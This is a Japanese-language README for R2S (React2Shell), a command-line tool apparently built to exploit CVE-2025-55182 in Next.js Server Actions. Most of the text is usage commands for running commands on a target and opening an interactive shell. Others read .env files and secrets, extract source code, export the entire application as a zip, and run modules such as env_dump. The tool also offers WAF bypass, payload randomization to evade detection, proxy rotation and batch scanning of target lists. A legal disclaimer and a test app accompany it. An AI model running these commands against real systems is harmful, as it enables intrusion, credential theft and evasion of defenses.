
Next.jsアプリケーションにおけるCVE-2025-55182脆弱性評価のための高度なセキュリティテストツール。機能: インタラクティブシェル、バッチスキャン、WAFバイパス、包括的なレポート。
R2S (React2Shell) は、セキュリティ研究者、開発者、ペネトレーションテスターがNext.jsアプリケーションがCVE-2025-55182に対して脆弱かどうかを評価できるように設計されたセキュリティテストツールです。
CVE-2025-55182 は、特定のバージョン(例:16.0.5)のNext.js Server Actionsに影響を与える重大な脆弱性です。この脆弱性により、攻撃者は適切に保護されていないServer Actionsを通じてサーバー上で任意のコマンドを実行でき、リモートコード実行(RCE)につながります。
R2S は、悪意のある攻撃者に見つかる前に修正できるよう、アプリケーションにこの問題があるかどうかを確認するのに役立ちます。
--windows)⚠️ 重要警告: --windows フラグを誤って使用すると、ツールが脆弱性の判定に失敗する可能性があります。
--windowsを使用する場合: ターゲットサーバーがWindowsであると100%確信できる場合のみ--windowsを使用するとコマンドが失敗し、サーバーが脆弱であっても「脆弱ではない」と報告される可能性があります--windowsを使用しないでください例:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
---
## ⚠️ 法的免責事項
**重要:このツールを使用する前に必ずお読みください**
1. **このツールは正当なセキュリティテスト専用です**
- ✅ 自分のアプリケーションをテストする
- ✅ 書面による許可を得たアプリケーションをテストする
- ✅ 教育目的およびセキュリティ研究
- ❌ **自分が所有していない、またはテストする許可を得ていないシステムでは決して使用しないでください**
- ❌ **悪意のある目的では決して使用しないでください**
2. **このツールを使用することで、以下に同意したことになります:**
- 自分が所有しているか、テストするための明示的な書面による許可を得ているシステムでのみ使用すること
- コンピュータシステムへの無許可アクセスが违法であることを理解していること
- 自身の行動に対して全責任を負うこと
- 作者はこのツールの誤用に対する責任を負わないこと
3. **法的影響:**
- コンピュータシステムへの無許可アクセスはほとんどの国で犯罪です
- 刑事告訴、罰金、禁固刑を受ける可能性があります
- テスト前には常に書面による許可を得てください
4. **このツールは「現状のまま」提供され、いかなる種類の保証もありません**
**18歳未満の場合は、このツールを使用する前に成人の監督と許可を得てください。**
---
## ✨ 特徴
### コア機能
- 🔍 **脆弱性検出** - サーバーがCVE-2025-55182に対して脆弱かどうかを迅速にテスト
- 💻 **インタラクティブシェル** - HTTPS経由の完全なインタラクティブシェルセッション。コマンド履歴付き
- 📁 **ファイル操作** - ディレクトリの一覧表示、ファイルの読み取り、ファイル/アーカイブのエクスポート
- 🔐 **シークレット抽出** - アプリケーションのシークレット(.envファイル、設定ファイル)の読み取りを試行
- 📄 **コード抽出** - アプリケーションのソースコードの読み取りを試行
- 🖥️ **システム情報** - OS情報、ホスト名、ユーザー、環境変数を収集
### 高度な機能
- 🚀 **自動ウォームアップペイロード** - 最良の結果を得るためにペイロードを自動最適化
- ⚡ **並列実行** - 複数のコマンドを同時に実行
- 🎲 **ペイロードランダム化** - 動的ペイロードで検出を回避
- 🛠️ **エクスプロイトモジュール** - Metasploitスタイルのモジュールシステム (env_dump, file_search, network_scan, process_list)
- 🔄 **リダイレクト処理** - HTTPリダイレクト (301, 302, 303, 307, 308) を自動フォロー
- 🎨 **美しいUI** - 読みやすさのための色分けされた出力
- 📊 **包括的なレポート** - 操作固有のフォーマッタでJSON、HTML、TXT形式のレポートを自動保存
- ⚙️ **設定システム** - インタラクティブな設定パネルを備えたJSONベースの設定
- 📦 **エクスポート機能** - 単一ファイルまたはアプリ全体のディレクトリをzipアーカイブとしてエクスポート
- 🔒 **WAFバイパス** - 複数のバイパス手法 (⚠️ 保証なし - 以下の制限事項を参照)
### レポートとログ記録
- 📝 **自動レポート保存** - 人間が読めるタイムスタンプでレポートを `~/.r2s/reports/` に自動保存
- 📋 **操作固有のフォーマット** - 異なる操作(シェル、テスト、シークレットなど)ごとに異なるレポート形式
- 📜 **コマンド履歴** - `~/.r2s/history` に保存される永続的なコマンド履歴
- 🔍 **監査証跡** - 全操作の詳細なログを `~/.r2s/logs/audit.log` に記録
- 🎨 **HTMLレポート** - ダーク/ライトモード、コピーボタン、コードブロックを備えた美しいHTMLレポート
---
## 📦 インストール
### オプション1: ソースからビルド(推奨)
1. **リポジトリをクローン:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 クイックスタート
### 基本的な脆弱性テスト```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ 重要: ターゲットがWindowsであると確信できない限り、--windows を使用しないでください。Linuxサーバーで --windows を使用すると、偽陰性が発生する可能性があります(サーバーが脆弱であってもツールが「脆弱ではない」と報告する場合があります)。
安全なテスト環境を https://r2s-arena.fly.dev で提供しています:```bash
r2s -u https://r2s-arena.fly.dev -t
### ローカルでのテスト
脆弱なアプリをローカルで実行する手順については、[`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) を参照してください。
---
## 📚 使用例
### クイックコマンドリファレンス
**最も一般的なコマンド:**
- `r2s -u URL -t` - 脆弱性のテスト(最も一般的)
- `r2s -u URL --shell` - インタラクティブシェルを起動
- `r2s --targets FILE -t` - 複数のターゲットを一括スキャン
- `r2s -u URL --system-info` - システム情報を取得
- `r2s -u URL --secrets` - シークレットの読み取りを試行
- `r2s -u URL --export-archive` - アプリ全体をZIPとしてエクスポート
**⚠️ 注意**:ターゲットがWindowsでない限り、`--windows` を使用しないでください!
---
### 基本操作```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### エクスプロイトモジュール```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### シークレット & コード抽出```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### 高度なオプション```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### ログ記録と監査```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### 報告```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. セキュリティ監査```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
安全なローカルテストのために、提供されている nextjs アプリケーションを使用してください。```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
詳細な手順については[`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md)を参照してください。
---
## 🏗️ アーキテクチャ
R2Sは、保守性と拡張性を考慮したモジュラーアーキテクチャを採用しています:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
react2shell/README.md を参照して、詳細なアーキテクチャ文書をご確認ください。
実際のシステムにリスクを負わせることなくツールをテストできる、安全なテスト環境 nextjs を提供しています。
アクセス先: https://r2s-arena.fly.dev
これは公開されている、テスト目的のみの意図的に脆弱なアプリケーションです。
ローカルで実行する手順については、nextjs/README.md を参照してください。
⚠️ 重要: nextjs アプリケーションは意図的に脆弱であり、本番環境や実際のデータで決して使用しないでください。
| コマンド | 説明 |
|---|---|
--export FILE, --ex FILE | ターゲットから単一ファイルをエクスポート(~/.r2s/exports/{domain}/ に保存) |
--export-archive | アプリディレクトリ全体をzipアーカイブとしてエクスポート。サーバー上でzipを作成し、ダウンロード後にサーバーから削除。.gitignoreパターンを除外。~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip に保存 |
| コマンド | 説明 |
|---|---|
--module NAME | エクスプロイトモジュールを実行 |
--module-list, --list-modules | 利用可能なモジュールを一覧 |
--module-info NAME |
| オプション | 説明 |
|---|---|
--output FILE, -o FILE | 結果を特定のファイルに保存(自動保存を無効化) |
--no-report | ~/.r2s/reports/ への自動レポート保存を無効化 |
| オプション | 説明 |
|---|---|
--targets FILE | ファイルから複数ターゲットをスキャン(1行に1URL、#でコメント対応) |
--batch | バッチモード: すべてのインタラクティブプロンプトをスキップし自動継続(自動化/スクリプトに便利) |
| コマンド | 説明 |
|---|---|
r2s settings | インタラクティブ設定パネルを開く |
r2s cleanup | R2Sの全データ(設定、履歴、ログ、レポート、エクスポート)を削除 |
r2s uninstall |
r2s -u https://target.com -t --insecure
### "接続エラー"
- サーバーが稼働しているか確認
- URLが正しいか確認
- ファイアウォール設定を確認
- タイムアウトを増やしてみる: `--timeout 30`
### "リクエストがブロックされました"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ 重要: Windows コマンドフラグ
偽陰性(ツールが「脆弱ではない」と表示するが、実際は脆弱である)が発生する場合は、以下を確認してください:
--windows フラグを使用しましたか?
--windows フラグを使用すると、ツールは Windows コマンド(PowerShell、dir など)を使用します。--windows を使用するとツールは失敗します。--windows フラグを削除してください(Unix/Linux がデフォルトです)。プラットフォームの検出
--windows を使用してください。テストコマンド
echo $((41*271))--windows を使用すると、次のコマンドを使用します:powershell -c "41*271"問題の例:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### WAFバイパスの制限
**⚠️ 重要:** 本ツールのWAFバイパス手法は**動作を保証するものではなく**、以下のような制限があります。
- **普遍性なし**: WAFによって検出方法は異なります。あるWAFで有効でも別のWAFでは無効な場合があります。
- **静的検出**: 一部のWAFはバイパス可能な静的パターンマッチングを使用しますが、最新のWAFは行動分析を使用します。
- **レート制限**: 多くのWAFはレート制限を実装しており、繰り返しの試行をブロックする可能性があります。
- **機械学習**: 高度なWAFは攻撃パターンに適応・学習するMLモデルを使用します。
- **Cloudflare/AWS WAF**: エンタープライズグレードのWAF(Cloudflare、AWS WAFなど)はバイパスが極めて困難です。
- **保証なし**: バイパス手法は実験的なものであり、適切に設定されたWAFに対しては失敗する可能性があります。
**ベストプラクティス:**
- WAFバイパスは最後の手段として使用する
- 異なるヘッダー戦略(`--header-strategy`)を試す
- より良い結果を得るために`--randomize`と組み合わせる
- 一部のターゲットはバイパス不可能である可能性を理解する
- 常に自身が所有する、またはテスト許可を得たシステムでのみテストする
### ビルドの問題```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
ビルドアーティファクト(ビルドディレクトリ、キャッシュファイルなど)を安全に削除するには:```bash ./build.sh cleanup
これにより削除されます:
- `build/` ディレクトリ (PyInstaller ビルドファイル)
- `dist/` ディレクトリ (コンパイル済みバイナリ)
- `__pycache__/` ディレクトリ (Python キャッシュ、再帰的)
- `*.pyc` ファイル (コンパイル済み Python バイトコード)
- `*.pyo` ファイル (最適化された Python バイトコード)
- `*.spec` ファイル (PyInstaller 仕様ファイル)
**注:** これはビルド成果物のみを削除し、ソースコードは削除しません。クリーンアップは安全で、続行する前に確認を求めます。
---
## 📁 ファイル構造```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
コントリビューションを歓迎します!以下を参照してください:
注意: 正当なセキュリティテストに役立つコードのみをコントリビュートしてください。
このプロジェクトはMITライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。
ただし、このツールの使用は上記の法的免責事項に従います。このツールを不正アクセスに使用することは違法であり、このライセンスの対象外です。
zamdevio
このツールはセキュリティテストおよび教育目的のみに使用してください。
法令順守、倫理的、安全に行動しましょう!🛡️
セキュリティコミュニティのために❤️を込めて
| コマンド | 説明 |
|---|
-u, --url URL | 対象URL(ほとんどの操作で必須) |
-t, --test | サーバーが脆弱かどうかをテスト |
-ld, --list-dir PATH | ディレクトリ内容を一覧表示 |
-rf, --read-file FILE | ファイル内容を読み取り |
-si, --system-info | システム情報を取得 |
-sr, --secrets | シークレットの読み取りを試行 |
-c, --code | ソースコードの読み取りを試行 |
-cmd, --command CMD | カスタムコマンドを実行 |
--shell | インタラクティブシェルを開始 |
| モジュール情報を表示 |
--set KEY=VALUE | モジュールオプションを設定 |
| オプション | 説明 |
|---|
--waf-bypass | WAF回避テクニックを試行(⚠️ 保証はありません - 以下の制限事項を参照) |
--waf-bypass-size KB | WAF回避用ジャンクデータサイズ(KB単位、デフォルト: 128) |
--vercel-waf-bypass | Vercel固有のWAF回避テクニックを有効化 |
--header-strategy STRATEGY | HTTPヘッダー戦略: default、chrome_latest、firefox、minimal、assetnote |
--parallel N | N個のコマンドを並列実行(複数コマンドに便利) |
--auto-warm | 実行前に自動的にペイロードをウォーミングアップして最適化 |
--randomize | ペイロードをランダム化して静的検出を回避 |
--no-follow-redirects | HTTPリダイレクト(301、302など)を自動的にフォローしない |
-k, --insecure | SSL証明書検証を無効化(注意して使用) |
--timeout SECONDS | リクエストタイムアウト(秒単位、デフォルト: 10、0でタイムアウトなし) |
--windows | ⚠️ 警告: Unix/LinuxではなくWindowsコマンドを使用します。ターゲットが実際にUnix/Linuxの場合、ツールが脆弱性の判定に失敗する可能性があります。ターゲットがWindowsであると確信している場合のみ使用してください。 |
--rate RATE | 1秒あたりRATEリクエストに制限(バッチスキャンに便利) |
--delay SECONDS | リクエスト間に遅延を追加(秒単位、レート制限回避に役立つ) |
--batch | バッチモード: すべてのインタラクティブプロンプトをスキップし自動継続(自動化に便利) |
--log FILE |
| すべての操作を指定ファイルに記録(詳細な操作ログ) |
--audit | 詳細な監査証跡を作成(~/.r2s/logs/audit.log に保存) |
| オプション | 説明 |
|---|
--proxy URL | HTTPプロキシを使用(形式: http://proxy:port または http://user:pass@proxy:port) |
--proxy-file FILE | ファイルからプロキシを読み込みローテーション(1行に1プロキシ、形式: http://proxy:port) |
--rate RATE | 1秒あたりRATEリクエストに制限(ターゲットへの過負荷を防止) |
--delay SECONDS | リクエスト間に遅延を追加(秒単位、レート制限回避に役立つ) |
| R2Sバイナリと全データをアンインストール |
r2s help | ヘルプメッセージを表示 |